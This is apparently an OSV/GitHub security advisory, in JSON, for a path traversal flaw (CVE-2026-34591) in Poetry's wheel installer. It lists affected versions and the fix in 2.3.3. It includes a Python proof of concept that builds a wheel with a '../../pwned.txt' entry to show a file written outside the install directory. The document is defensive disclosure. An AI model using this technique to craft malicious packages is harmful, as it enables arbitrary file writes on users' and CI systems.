{"id":"GHSA-2599-h6xx-hpxp","summary":"Poetry Has Wheel Path Traversal Which Can Lead to Arbitrary File Write","details":"### Summary\nA crafted wheel can contain ../ paths that Poetry writes to disk without containment checks, allowing arbitrary file write with the privileges of the Poetry process. \n\n### Impact\nArbitrary file write (path traversal) from untrusted wheel content. Impacts users/CI/CD systems installing malicious or compromised packages.\n\n### Patches\n\nVersions 2.3.3 and newer of Poetry resolve the target paths and ensure that they are inside the target directory. Otherwise, installation is aborted.\n\n### Details\nPoetry’s wheel destination path is built by directly joining an untrusted wheel entry path:\n\nsrc/poetry/installation/wheel_installer.py:47\nsrc/poetry/installation/wheel_installer.py:59\n\nThe vulnerable sink is reachable in normal installation:\nsrc/poetry/installation/executor.py:607\n\nNo resolve() + is_relative_to() style guard is enforced before writing.\n\n### POC\n\n```\nfrom pathlib import Path\nimport tempfile, zipfile, sys\nfrom installer import install\nfrom installer.sources import WheelFile\nfrom poetry.installation.wheel_installer import WheelDestination\n\nroot = Path(tempfile.mkdtemp(prefix=\"poetry-poc-\"))\nwheel = root / \"evil-0.1-py3-none-any.whl\"\nbase = root / \"venv\" / \"lib\" / \"pythonX\" / \"site-packages\"\nfor d in [base, root/\"venv/scripts\", root/\"venv/headers\", root/\"venv/data\"]:\n    d.mkdir(parents=True, exist_ok=True)\n\nfiles = {\n    \"evil/__init__.py\": b\"\",\n    \"../../pwned.txt\": b\"owned\\n\",\n    \"evil-0.1.dist-info/WHEEL\": b\"Wheel-Version: 1.0\\nRoot-Is-Purelib: true\\nTag: py3-none-any\\n\",\n    \"evil-0.1.dist-info/METADATA\": b\"Metadata-Version: 2.1\\nName: evil\\nVersion: 0.1\\n\",\n}\nfiles[\"evil-0.1.dist-info/RECORD\"] = (\"\\n\".join([f\"{k},,\" for k in files] + [\"evil-0.1.dist-info/RECORD,,\"])+\"\\n\").encode()\n\nwith zipfile.ZipFile(wheel, \"w\") as z:\n    for k,v in files.items(): z.writestr(k,v)\n\ndest = WheelDestination(\n    {\"purelib\":str(base),\"platlib\":str(base),\"scripts\":str(root/\"venv/scripts\"),\"headers\":str(root/\"venv/headers\"),\"data\":str(root/\"venv/data\")},\n    interpreter=sys.executable, script_kind=\"posix\"\n)\nwith WheelFile.open(wheel) as src:\n    install(src, dest, {\"INSTALLER\": b\"PoC\"})\n\nout = (base / \"../../pwned.txt\").resolve()\nprint(\"outside write:\", out.exists(), out)\n```","aliases":["CVE-2026-34591","PYSEC-2026-2260"],"modified":"2026-09-10T03:50:42.075152286Z","published":"2026-04-01T22:17:36Z","database_specific":{"github_reviewed_at":"2026-04-01T22:17:36Z","nvd_published_at":"2026-04-02T18:16:31Z","cwe_ids":["CWE-22"],"severity":"HIGH","github_reviewed":true},"references":[{"type":"WEB","url":"https://github.com/python-poetry/poetry/security/advisories/GHSA-2599-h6xx-hpxp"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-34591"},{"type":"WEB","url":"https://github.com/python-poetry/poetry/pull/10792"},{"type":"PACKAGE","url":"https://github.com/python-poetry/poetry"},{"type":"WEB","url":"https://github.com/python-poetry/poetry/releases/tag/2.3.3"},{"type":"WEB","url":"http://github.com/python-poetry/poetry/commit/ed59537ac3709cfbdbf95d957de801c13872991a"}],"affected":[{"package":{"name":"poetry","ecosystem":"PyPI","purl":"pkg:pypi/poetry"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"1.4.0"},{"fixed":"2.3.3"}]}],"versions":["1.4.0","1.4.1","1.4.2","1.5.0","1.5.1","1.6.0","1.6.1","1.7.0","1.7.1","1.8.0","1.8.1","1.8.2","1.8.3","1.8.4","1.8.5","2.0.0","2.0.1","2.1.0","2.1.1","2.1.2","2.1.3","2.1.4","2.2.0","2.2.1","2.3.0","2.3.1","2.3.2"],"database_specific":{"last_known_affected_version_range":"\u003c= 2.3.2","source":"https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/04/GHSA-2599-h6xx-hpxp/GHSA-2599-h6xx-hpxp.json"}}],"schema_version":"1.9.0","severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:H/A:N"},{"type":"CVSS_V4","score":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:P/VC:N/VI:H/VA:N/SC:N/SI:N/SA:N"}]}